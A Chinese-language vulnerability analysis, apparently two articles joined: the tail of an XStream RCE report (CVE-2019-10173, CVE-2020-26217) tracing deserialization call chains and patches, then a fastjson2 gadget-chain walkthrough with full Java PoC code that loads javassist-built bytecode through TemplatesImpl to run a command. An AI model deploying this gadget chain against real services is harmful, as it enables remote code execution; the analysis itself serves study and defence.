运行sniper工具箱,填写表单信息,点击Attack,效果如图。

image

1.3 漏洞分析

1.3.1 代码分析

传入的payload首先会在com.thoughtworks.xstream.XStream的fromXML()方法中处理,在进入unmarshal()方法中进行解集。

image

在com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy类中的unmarshal()方法中调用start()方法进行Java对象转换。

image

在com.thoughtworks.xstream.core.TreeUnmarshaller类中的start()方法通过调用readClassType()获取type类型。

image

在readClassType()方法中调用readClassAttribute方法。

image

进入readClassAttribute方法调用aliasForSystemAttribute方法获取别名。调用getAttribute方法,获取reader对象中记录的外部传入XML数据中是否存在对应的标签,如果不存在则返回null。

image

回到HierarchicalStreams#readClassType方法中调用realClass方法,通过别名在wrapped对象中的Mapper中循环查找,获取与别名对应的类。

image

找到sorted-set别名对应的java.util.SortedSet类,并将类存入realClassCache对象中。

image

回到TreeUnmarshaller#start方法,调用convertAnother方法。进入convertAnother方法后,调用defaultImplementationOf方法,在mapper对象中寻找java.util.SortedSet接口类的实现类java.util.TreeSet。

image

获取java.util.TreeSet类型,调用lookupConverterForType方法,寻找对应类型的转换器。进入lookupConverterForType方法,循环获取转换器列表中的转换器,调用转换器类中的canConvert方法判断选出的转换器是否可以对传入的type类型进行转换。

image

转换器TreeSetConverter父类CollectionConverter中canConvert方法判断,传入的type与java.util.TreeMap相同,返回true,表示可以使用TreeSetConverter转换器进行转换。

image

回到DefaultConverterLookup#lookupConverterForType方法,将选取的converter与对应的type存入typeToConverterMap。

回到TreeUnmarshaller#convertAnother方法中,调用this.convert方法。

image

首先判断传入的xml数据中是否存在reference标签,如果不存在,则将当前标签压入parentStack栈中,并调用父类的convert方法。

image

进入convert方法中,调用转换器中的unmarshal方法,对传入的xml数据继续解组。

image

首先调用unmarshalComparator方法判断是否存在comparator,如果不存在,则返回NullComparator对象。

image

根据unmarshalledComparator对象状态,为possibleResult对象赋予TreeSet类型对象。

image

由于possibleResult是一个空的TreeMap,因此最终treeMap也是一个空对象,从而调用treeMapConverter.populateTreeMap方法。

image

进入populateTreeMap方法中,首先调用调用putCurrentEntryIntoMap方法解析第一个标签,再调用populateMap方法处理之后的标签(此流程中二级标签只存在一个,因此在处理二级标签时暂不进入populateMap方法)。

image

具体调用流程如下,com.thoughtworks.xstream.converters.collections.TreeSetConverter类中调用putCurrentEntryIntoMap方法 -> com.thoughtworks.xstream.converters.collections.AbstractCollectionConverter.readItem() 中的 readClassType()方法获取传入xml数据中标签名(别名)对应的类(与本节中获取sorted-set对应类的流程相同)。本次获取的是dynamic-proxy对应的java.lang.reflect.Proxy.DynamicProxyMapper类型,并将别名与类型作为键值对,存入realClassCache中。

image

image

回到AbstractCollectionConverter.readItem()方法中,调用convertAnother方法,寻找DynamicProxyMapper对应的convert,获取到DynamicProxyConverter转换器。

image

得到com.thoughtworks.xstream.mapper.DynamicProxyMapper$DynamicProxy,按照之前获取转换器之后的流程,调用转换器中的unmarshal()方法获取interface元素,得到java.lang.Comparable,并添加到mapper中。

image

在通过循环查询,继续查找下面的节点元素,进而获得了handler java.beans.EventHandler。

image

调用Proxy.newProxyInstance方法创建动态代理,实现java.lang.Comparable接口。

image

调用convertAnother方法获取传入type的转换器,java.beans.EventHandler对应的convert是ReflectionConverter。并将父类及其对象写进HashMap中

image

image

在com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.duUnmarshal()方法获取下面的节点元素target java.lang.ProcessBuilder。

具体流程如下:调用getFieldOrNull方法,判断xml格式中传入的标签名在目标类中是否存在对应属性。

image

image

在调用reader.getNodeName()方法获取标签名,并赋值给originalNodeName。

image

调用realMember方法获取反序列化属性的名称。

image

调用readClassAttribute方法获取target标签中传入的类名

image

调用realClass获取上述过程中类名对应的类,并调用unmarshallField方法进行解析。

image

进入方法中,寻找对应type的转换器,由于是java.beans.EventHandler作为动态代理的实现类,所以选择的转化器都是ReflectionConverter 。使用选中的转换器进行解组。

image

使用ReflectionConverter convert处理java.lang.ProcessBuilder ,在duUnmarshal()方法获取command标签和comand标签下的String标签及其参数。(其中String标签下的参数是在下一层convert调用中获取的。)

image

调用this.reflectionProvider.writeField方法,将参数值传入对象中。

image

image

image

在按照获取target标签相同的流程获取action标签,最终将start方法存入对象中。

image

回到TreeMapConverter#populateTreeMap方法中,上述过程中构造的object保存在sortedMap中。且其中的动态代理实现的接口是java.lang.Comparable,因此只要调用java.lang.Comparable接口中的compareTo方法,即可触发动态代理,进入java.beans.EventHandler实现类中的invoke方法。在populateTreeMap方法中调用putAll方法,将sortedMap中的对象写入result变量的过程中会调用到compareTo,调用链如下。

image

进入java.beans.EventHandler#invoke方法中,通过反射执行对象中的方法。

image

1.3.2 补丁分析

XStream1.4.7版本中,在com.thoughtworks.xstream.converters.reflection.ReflectionConverter添加type != eventHandlerType阻止ReflectionConverter解析java.beans.EventHandler类。从而防御了此漏洞。

image

2 XStream 远程代码执行漏洞

2.1 漏洞信息

2.1.1 漏洞简介

● 漏洞名称:XStream Remote Code Execution Vulnerability

● 漏洞编号:CVE-2019-10173

● 漏洞类型:Remote Code Execution

● CVSS评分:CVSS v2.0:7.3 , CVSS v3.0:9.8

● 漏洞危害等级:高危

2.1.2 漏洞概述

包含类型信息的流在unmarshalling时,会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据,将恶意命令注入在在可以执行任意shell命令的对象中,实现漏洞的利用。

2.1.3 漏洞利用条件

无

2.1.4 影响版本

影响版本:XStream = 1.4.10

2.1.5 漏洞修复

获取XStream最新版本,下载链接:https://x-stream.github.io/download.html

2.2 漏洞复现

2.2.1 拓扑图

image

2.2.2 应用协议

8080/HTTP

2.2.3 环境搭建

基于Windows平台,使用环境目录下的xstreamdemo环境,拷贝后使用Idea打开xstreamdemo文件夹,下载maven资源,运行DemoApplication类,即可启动环境。效果如图。

image

2.2.4 漏洞复现

运行sniper工具箱,填写表单信息,点击Attack,效果如图。

image

2.3 漏洞分析

2.3.1 代码分析

CVE-2019-10173漏洞与CVE-2013-7285漏洞原理相同,由于在XStream的安全模式默认不启动,导致防御失效。

Xstream 1.4.7对于漏洞的防御措施:

通过在

com.thoughtworks.xstream.converters.reflection.ReflectionConverter添加type != eventHandlerType阻止ReflectionConverter解析java.beans.EventHandler类

image

Xstream 1.4.10漏洞产生原因:

在com.thoughtworks.xstream.converters.reflection.ReflectionConverter类中,canConvert方法中的type != eventHandlerType被删除了,使得原来的漏洞利用方式可以再次被利用。

由于在Xstream1.4.10中的com.thoughtworks.xstream.XStream类增加了setupDefaultSecurity()方法和InternalBlackList转换器,通过黑名单的形式对漏洞进行防御。但是安全模式默认不开启,必须在初始化后才可以使用,eg:XStream.setupDefaultSecurity(xStream)。导致防御失效,造成漏洞的第二次出现。

image

image

2.3.2 补丁分析

XStream1.4.11版本中,在com.thoughtworks.xstream.XStream更改安全模式初始化方法中的securityInitialized标志位。在调用InternalBlackList转换器中的canConvert方法时,可以进行黑名单匹配,从而防御了此漏洞。

image

image

2.3.3 漏洞防御

在Xstream1.4.11中的com.thoughtworks.xstream.XStream类中InternalBlackList类会对java.beans.EventHandler进行过滤,java.beans.EventHandler执行marshal或者unmarshal方法时,会抛出异常终止程序。

image

3 XStream 远程代码执行漏洞

3.1 漏洞信息

3.1.1 漏洞简介

● 漏洞名称:XStream Remote Code Execution Vulnerability

● 漏洞编号:CVE-2020-26217

● 漏洞类型:Remote Code Execution

● CVSS评分:CVSS v2.0:无, CVSS v3.0:8.0

● 漏洞危害等级:高危

3.1.2 漏洞概述

包含类型信息的流在unmarshalling时,会再次创建之前写入的对象。因此XStream会基于这些类型信息创建新的实例。攻击者可以操控XML数据,将恶意命令注入在在可以执行任意shell命令的对象中,实现漏洞的利用。

3.1.3 漏洞利用条件

无

3.1.4 漏洞影响

影响版本:XStream = 1.4.13

3.1.5 漏洞修复

获取XStream最新版本,下载链接:https://x-stream.github.io/download.html

3.2 漏洞复现

3.2.1 环境拓扑

image

3.2.2 应用协议

8080/HTTP

3.2.3 环境搭建

基于Windows平台,使用环境目录下的xstreamdemo环境,拷贝后使用Idea打开xstreamdemo文件夹,下载maven资源,运行DemoApplication类,即可启动环境。效果如图。

image

3.2.4 漏洞复现

运行sniper工具箱,填写表单信息,点击Attack,效果如图。

image

3.3 漏洞分析

3.3.1 代码分析

代码分析:传入的payload首先会在com.thoughtworks.xstream.XStream的fromXML()方法中处理,在进入unmarshal()方法中进行解集。

image

在com.thoughtworks.xstream.core.AbstractTreeMarshallingStrategy类中的unmarshal()方法中调用start()方法进行Java对象转换。

image

在com.thoughtworks.xstream.core.TreeUnmarshaller类中的start()方法通过调用readClassType()获取type类型。

image

在readClassType()方法中调用readClassAttribute方法。

image

进入readClassAttribute方法调用aliasForSystemAttribute方法获取别名。调用getAttribute方法,获取reader对象中记录的外部传入XML数据中是否存在对应的标签,如果不存在则返回null。

image

回到HierarchicalStreams#readClassType方法中调用realClass方法,通过别名在wrapped对象中的Mapper中循环查找,获取与别名对应的类。

image

在DefaultMapper中,通过反射,获取到string标签传入的class,并将类存入realClassCache对象中。

image

image

回到TreeUnmarshaller#start方法,调用convertAnother方法。进入convertAnother方法后,调用lookupConverterForType方法,寻找对应类型的转换器。进入lookupConverterForType方法,循环获取转换器列表中的转换器,调用转换器类中的canConvert方法判断选出的转换器是否可以对传入的type类型进行转换。

image

转换器ReflectionConverter中canConvert方法判断,传入的type非null,返回true,表示可以使用ReflectionConverter转换器进行转换。

image

回到DefaultConverterLookup#lookupConverterForType方法,将选取的converter与对应的type存入typeToConverterMap。

回到TreeUnmarshaller#convertAnother方法中,调用this.convert方法。

image

首先判断传入的xml数据中是否存在reference标签,如果不存在,则将当前标签压入parentStack栈中,并调用父类的convert方法。

image

在com.thoughtworks.xstream.converters.reflection.AbstractReflectionConverter.duUnmarshal()方法获取下面的节点元素iter java.util.ArrayList$Itr。

具体流程如下:调用getFieldOrNull方法,判断xml格式中传入的标签名在目标类中是否存在对应属性。

image

image

在调用reader.getNodeName()方法获取标签名,并赋值给originalNodeName。

image

调用realMember方法获取反序列化属性的名称。

image

调用readClassAttribute方法获取iter标签中传入的类名

image

调用realClass获取上述过程中类名对应的类,并调用unmarshallField方法进行解析。

image

进入方法中,寻找对应type的转换器,使用选中的ReflectionConverter转换器进行解组。

image

使用ReflectionConverter convert处理java.util.ArrayList$Itr ,在duUnmarshal()方法获取cursor标签和cursor标签下的参数。(调用unmarshallField方法,与上述流程相似)

image

调用this.reflectionProvider.writeField方法,将参数值传入对象中。

image

image

回到AbstractReflectionConverter#doUnmarshal方法中获取后续的标签及其参数(分别为lastRet,expectedModCount,outer-class)。

image

按照同样的反序列化流程获取属性值,并写入对象。

image

解析outer-class标签,由于type是java.util.ArrayList,选择转换器是CollectionConverter。

image

调用CollectionConverter#unmarshal方法进行反序列化。

image

调用CollectionConverter#populateCollection -> CollectionConverter#addCurrentElementToCollection->AbstractCollectionConverter#readItem方法。最终调用realClass方法获取type类,获取过程中将outer-class标签下的子标签存入realClassCache中。

image

回到AbstractCollectionConverter#readBareItem方法调用convertAnother方法,按照之前的流程进行反序列化,为属性赋值,并写入对象。

image

最终返回ProcessBuilder对象,写入FilterIterator对象中。

image

在按照获取java.util.ArrayList$Itr对象相同的流程获取javax.imageio.ImageIO$ContainsFilter对象,通过反序列化为其内部的method属性和name属性进行赋值。

在选择转换器的过程中,由于method属性的类型是java.lang.reflect.Method,因此选择对应的转换器为JavaMethodConverter。

image

调用JavaMethodConverter#unmarshal方法进行xml数据解析,获取java.lang.processBuilder类中的start方法对象,写入到javax.imageio.ImageIO$ContainsFilter对象中。

image

再按照相同的流程,将start方法名写入name属性中。

image

将FilterIterator对象返回给最初的iterator对象中。

image

调用iterator.next()方法时,会调用其实现类FilterIterator中的next方法。

image

进入调用advance方法,调用filter方法时,会通过反射执行ProcessBuilder对象中的start方法,从而造成代码执行。

image

image

3.3.2 补丁分析

XStream1.4.11版本中,在com.thoughtworks.xstream.XStream更改安全模式初始化方法中的securityInitialized标志位。在调用InternalBlackList转换器中的canConvert方法时,可以进行黑名单匹配,从而防御了此漏洞。

image

image

3.3.3 漏洞防御

XStream1.4.14版本中,在com.thoughtworks.xstream.XStream的黑名单添加java.lang.ProcessBuilder和javax.imageio.ImageIO$ContainsFilter。从而防御了此漏洞。

image

参考链接

  1. https://blog.csdn.net/yaomingyang/article/details/80981004
  2. https://github.com/x-stream/xstream/compare/XSTREAM_1_4_6...XSTREAM_1_4_7
  3. https://github.com/x-stream/xstream/compare/XSTREAM_1_4_10...XSTREAM_1_4_11
  4. https://github.com/x-stream/xstream/compare/XSTREAM_1_4_13...XSTREAM_1_4_14

一文带你看懂fastjson2下的反序列化调用链完整过程

一文带你看懂fastjson2下的反序列化调用链完整过程

本文转自 fupanc 并作补充

来分析一下fastjson2下的反序列化调用链全过程

fastjson2下的反序列化调用链分析

前言

在前面fastjson1下的反序列化调用链分析中,简单提到过fastjson2下的反序列化调用链,但是当时fastjson2的能打的版本为<=2.0.26。现在先来具体看看这个版本下的调试分析。

Fastjson2<=2.0.26调试分析

依赖版本改成如下即可:

1
2
3
4
5
6
<!-- <https://mvnrepository.com/artifact/com.alibaba/fastjson> -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>2.0.26</version>
</dependency>

当时使用的poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package org.example;
import javax.management.BadAttributeValueExpException;
import com.alibaba.fastjson.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.io.*;
import java.lang.reflect.Field;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc",templates);
BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
Field field = bad.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(bad, jsonObject);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("ser.ser"));
out.writeObject(bad);
out.close();
ObjectInputStream in = new ObjectInputStream(new FileInputStream("ser.ser"));
in.readObject();
in.close();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

运行即可弹出计算机。

其实主要的点还是在于调用toString()方法,直接将代码改简单些来调试分析一下流程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package org.example;
import com.alibaba.fastjson.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd= "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc",templates);
jsonObject.toString();
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

直接打断点于getOutputProperties()方法:

image

调试直接成功断在这里,此时的调用栈为:

1
2
3
4
5
6
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, OWG_1_3_TemplatesImpl (com.alibaba.fastjson2.writer)
write:548, ObjectWriterImplMap (com.alibaba.fastjson2.writer)
toJSONString:2388, JSON (com.alibaba.fastjson2)
toString:1028, JSONObject (com.alibaba.fastjson)
main:32, Main (org.example)

朴实无华,但是从中还是可以看到之前fastjson1分析下的一些影子,比如:

image

很熟悉的获取ObjectWriter相关类并调用它的write()方法来进行序列化。

现在来跟一下具体细节,看一下对序列化类的处理逻辑。

打断点于toString()方法:

image

这里的JSONWriter的Feature是一个枚举类型的类:

image

里面就有我们获取的定义在这个类中的ReferenceDetection值。

后面发现JSONObject类在fastjson2中其实有两个:

image

在前面我们都是使用的fastjson1的JSONObject来分析,两个都能弹,并且其实调试下来最终的调用方法是一样的,这里就直接调试分析fastjson2的JSONObject过程了,直接在import处将代码改成fastjson2即可。然后打断点调试,直接断于JSONObject类的toString()方法:

image

跟进这个JSONWriter类的of()方法:

image

最后也是返回了这个jsonWriter变量,现在来看看createWriteContext()的调用获取情况以及JSONWriterUTF16JDK8类的实例化情况,后续会用到类中的变量,要搞清楚对应变量的赋值以及调用,重新调试单击进入JSONFactory类的createWriteContext()方法:

image

这里的defaultObjectWriterProvider是静态的直接默认的变量:

image

继续跟进JSONWriter类的内部类Context类的初始化:

image

也就是将features赋值为0,然后将参数传递的ObjectWriterProvider类的实例化对象赋值给了provider。

最后返回了这个Context类,然后一直返回,回到JSONWriterUTF16JDK8类的初始化:

image

继续往父类初始化:

image

继续往父类看:

image

初始化情况如上,这里的JSONWriter应该是一个和json序列化相关的类。在这个JSONWriter类初始化完毕后,回到其子类JSONWriterUTF16的初始化:

image

这里的chars需要关注,后面要提到。可以看到这里的cachedIndex为1,跟进调用的JSONFactory类的allocateCharArray()方法:

image

可以看到直接静态设置了几个变量,如这里非常重要的CHAR_ARRAY_CACHE,这是一个二维数组,但是并没有定义值,所以CHAR_ARRAY_CACHE[cacheIndex]的值为null,从而将这个chars值设置为8192个下表的数组,并且最后返回了这个数组。

而后这个char数组的内容都是默认的占位符吧应该是:

image

后续会提到,这里就先继续调试跟着走。

——————

回到JSONWriter类的of()方法,最后是返回了这个实例化的JSONWriterUTF16JDK8类:

image

然后应该是设置了要序列化的类:

image

跟进setRootObject()方法:

image

效果如上,然后就是调用了JSONWriterUTF16JDK8类的write()方法来进行序列化,同样是传参传入了JSONObject类,对于这里的write()方法,关键的地方在于:

image

这里调用了迭代器来获取我们存储在JSONObject中的键值对:

image

然后继续往后面走,可以看到序列化key的地方:

image

当调用了writeString()方法后,这里的chars的值就更改了,这里的writeString()方法就不跟进了,关键点如下:

image

数组的一个copy操作,将value的值copy进chars中。

继续回到JSONWriterUTF16类的write()方法,后续就可以看到对value进行了处理:

image

并且对其进行了获取Class处理并对比,如下一些class对象:

1
2
3
4
5
6
7
String.class
Integer.class
Long.class
Boolean.class
BigDecimal.class
JSONArray.class
JSONObject.class

毫无疑问都不是和TemplatesImpl相关的,所以最后是到了如下代码:

image

非常熟悉的代码了,就是对TemplatesImpl类进行序列化处理。

跟进Context类的getObjectWriter()方法:

image

可以看到是接收的Type和Class对象的参数,但是传参可以看出来是都传的Class类型的,其实就是因为Class类实现了Type接口而已:

image

然后会调用ObjectWriterProvider类的getObjectWriter()方法:

image

代码如下:

image

毫无疑问当时赋值时就没有对cache作任何处理,并且这个变量是一个final初始化的一个默认的变量,故不能从cache中获取到TemplatesImpl.class的序列化处理类。后面的重点代码如下:

image

前面经过一系列处理,都找不到对应的TemplatesImpl类的,这里就会创建一个序列化类用于序列化相关的类,其次可以看到当成功创建了类过后,就会调用putIfAbsent()方法以键值对的形式放进到cache中,以便后续再次序列化相关类时直接通过get()获取,最后是返回了这个objectWriter序列化类。

跟进getCreator()方法:

image

最后是会返回这个creator变量,这个变量的赋值在类的初始化阶段就完成了,这里简单提一下: 在前面关于ObjectWriterProvider类的初始化,我们是直接调用的无参构造函数:

image

这里就涉及到了有关creator的赋值,调试效果如下:

image

这里的JSONFactory类的常量CREATOR赋值在JSONFactory类的static语句中:

image

所以会直接进入到default语句中从而给creator赋值为ObjectWriterCreatorASM类实例:

image

并且将变量classloader赋值为了DynamicClassLoader类实例:

image

跟进原先的DynamicClassLoader.getInstance(),就是直接获取instance:

image

很符合前面ObjectWriterCreatorASM类初始化变量赋值的条件。

回到ObjectWriterProvider类的getObjectWriter()方法:

image

故会调用ObjectWriterCreatorASM类的createObjectWriter()方法,并且在成功创建后会将其以键值对的形式放入到cache中,以便后续再次调用,并且最后也是返回了创建的objectWriter。跟进ObjectWriterCreatorASM类的createObjectWriter()方法,后续比较关键的就是对于method中的getter的处理,如下代码:

image

这里会先调用BeanUtils类的getters()方法,关键在于如下:

image

先从methodCache中查看是否有缓存的method,没有的话就会调用getMethods()方法来获取到对应类的public方法并将其放入到methodCache中,后续对获取到的方法进行了处理,调用的for循环进行的获取来判断如上图,关键的地方在如下:

image

可以看到是处理了getter方法,一般getter的长度都会大于3,所以这里的nameMatch肯定为true,然后进行了判断,就是取methodName的第四个字母进行判断,要是在a到z之间并且methodName长度为4,就赋值为false,但是从后面逻辑来看这里是需要nameMatch为true的,不然就会continue,并且从这个条件来看也是不容易满足的。

在这里获取到对应的getter方法后,继续往后看,会获取getter方法对应的fileName:

image

再然后就会创建序列化类了:

image

此时的调用栈为:

1
createFieldWriter:887, ObjectWriterCreator (com.alibaba.fastjson2.writer)lambda$createObjectWriter$2:377, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)accept:-1, 215219944 (com.alibaba.fastjson2.writer.ObjectWriterCreatorASM$$Lambda$14)getters:1010, BeanUtils (com.alibaba.fastjson2.util)createObjectWriter:252, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)getObjectWriter:333, ObjectWriterProvider (com.alibaba.fastjson2.writer)getObjectWriter:1603, JSONWriter$Context (com.alibaba.fastjson2)write:2246, JSONWriterUTF16 (com.alibaba.fastjson2)toString:1090, JSONObject (com.alibaba.fastjson2)main:33, Main (org.example)

继续跟进createFieldWriter的实现:

image

比较关键的就是这一部分的getInitWriter()方法的调用,由于参数传递,这里的initObjectWriter为null,这段代码先试获取了方法的返回值的类型,然后跟进getInitWriter()的调用:

image

就是判断返回值的Class对象是否符合上述几个Class对象,不符合的话就返回null,而返回null会让后续代码根据返回值的Class对象从而来实例化对应的writer类:

image

比如我这里调试判断的就是getTransletIndex()方法,返回值为int类型,故如上图会实例化FieldWriterInt32Method类,最后将其放入到fieldWriterMap变量中:

image

然而由于我们想要利用的getOutputProperties()方法的返回对象为class java.util.Properties,没有匹配的类,故直接使用的Object类型来进行的调用:

image

再然后可以看到fieldWriterMap的值发生了变化:

image

一切都是有规律的。

这里需要提到一个点,这里的”fieldWriter“类的最终父类都是FieldWriter类,并且在传参时都是给这个父类的值进行赋值,在这里我们需要注意到其中存在一个变量的更替,以getOutputProperties()方法的过程为例:

image

可以看到会对父类进行传参,需要注意这里的类中时自定义了一个变量,field:null,并且其他如前面提到的FieldWriterInt32Method类也是这样的,这个后续有大用,然后就是一直跟进到最顶父类的赋值:

image

——

故事的最后,我们如约获取到了对应的三个getter方法:

image

然后将其转换对象赋值给了fieldWriters并在sort()代码部分进行了重新排序。

前面讲了关于getter方法的处理,其实就是处理一下public的field,从而方便调用它的getter方法。再往后看,就是我们需要的objectWriter类的实例化了:

image

可以看到定义了类名,在多次调试过程中经常出现它的名字,这里也是找到了出处,然后找了包名,这里就是为在内存中生成这个类做准备,定义了类名以及所出包的位置。再后续呢,就是往类中定义了一些方法,然后是实例化了这个类作为objectWriter并返回:

image

这里的诸如genMethodWriteJSONB()方法往OWG_1_3_TemplatesImpl类中去定义方法内的代码,这里的对应情况如下:

调用的方法 实现的OWG_1_3_TemplatesImpl类中的方法
genMethodWriteJSONB() writeJSONB()
genMethodWrite() write()
genMethodWriteArrayMapping() writeArrayMapping()

调试中发现其实在类中定义的这几个方法都可以调用到那几个getter方法,大致流程是差不多的,这里就讲讲write()定义的流程,同时可以搞清楚我们前面弄了这么久的fieldWriters起到了什么作用。

跟进genMethodWrite()方法:

image

可以看到定义的方法名称,直接跟进fieldWriters的处理方式:

image

调用了for循环来对fieldWriters中存储的序列化类进行处理,跟进gwFieldValue()方法:

image

会获取到filterWriter的fieldClass,然后进行类型判断:

image

最后还是调用gwFieldValueObject()方法,跟进这个方法中的genGetObject()方法:

image

关键点来了,由于赋值时fieldWriter.field肯定为null,也就是前面提到的,所以这里会将member赋值为对应的getter方法,从而顺理成章调用到visitMethodInsn()方法从而可以往OWG_1_3_TemplatesImpl类的write()方法中写入调用对应getter方法的代码,其他的fieldWriter同理,由于for循环,故流程都是这个,调用栈为:

1
genGetObject:3339, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)gwFieldValueObject:1840, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)gwFieldValue:1758, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)genMethodWrite:722, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)createObjectWriter:554, ObjectWriterCreatorASM (com.alibaba.fastjson2.writer)getObjectWriter:333, ObjectWriterProvider (com.alibaba.fastjson2.writer)getObjectWriter:1603, JSONWriter$Context (com.alibaba.fastjson2)write:2246, JSONWriterUTF16 (com.alibaba.fastjson2)toString:1090, JSONObject (com.alibaba.fastjson2)main:33, Main (org.example)

再后面就可以通过调用这个类的write()方法从而调用对应序列化类的getter方法达到JSON序列化的目的:

image

但是由于这一个过程是在内存中进行的,也就是没有实际的java文件落地,只能通过监听内存从而获取这个类的内容。

这里可以使用arthas工具,我们需要将运行代码改成如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package org.example;
import com.alibaba.fastjson2.JSONObject;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import java.lang.reflect.Field;
public class Main{
public static void main(String[] args) throws Exception {
//使用javassist定义恶意代码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = classPool.makeClass("Evil");
String cmd = "java.lang.Runtime.getRuntime().exec(\\\\"open -a Calculator\\\\");";
cc.makeClassInitializer().insertBefore(cmd);
cc.setSuperclass(classPool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] code = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", code);
setFieldValue(templates, "_name", "fupanc");
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
try{
JSONObject jsonObject = new JSONObject();
jsonObject.put("fupanc", templates);
jsonObject.toString();
}catch (Exception e){
while(true){
}
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

众所周知在成功完成一次动态加载字节码后会报错退出,所以我们需要在这里加一个自循环从而让程序不会退出,然后运行并使用arthas工具监听即可:

image

在前面我们已经知道了对应类的包名,也就可以知道它的路径,然后用工具将其反编译出来:

1
jad com.alibaba.fastjson2.writer.OWG_1_3_TemplatesImpl

然后就可以拿到生成的类了,这里简单截取一些write()方法的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
if ((var12_11 = ((TemplatesImpl)var2_2).getOutputProperties()) == null) break block19;
var14_12 = var1_1.isRefDetect();
if (!var14_12) ** GOTO lbl-1000
if (var2_2 == var12_11) {
this.fieldWriter0.writeFieldName(var1_1);
var1_1.writeReference("..");
} else {
var13_13 = var1_1.setPath(this.fieldWriter0, (Object)var12_11);
if (var13_13 != null) {
this.fieldWriter0.writeFieldName(var1_1);
var1_1.writeReference(var13_13);
var1_1.popPath(var12_11);
} else lbl-1000:
// 2 sources
{
this.fieldWriter0.writeFieldName(var1_1);
this.fieldWriter0.getObjectWriter(var1_1, var12_11.getClass()).write(var1_1, var12_11, "outputProperties", (Type)Properties.class, 0L);
}
}
break block20;
}
if ((var8_6 &amp; 16L) != 0L) {
this.fieldWriter0.writeFieldName(var1_1);
var1_1.writeNull();
}
}
var15_14 = ((TemplatesImpl)var2_2).getStylesheetDOM();
if (var15_14 == null) break block21;
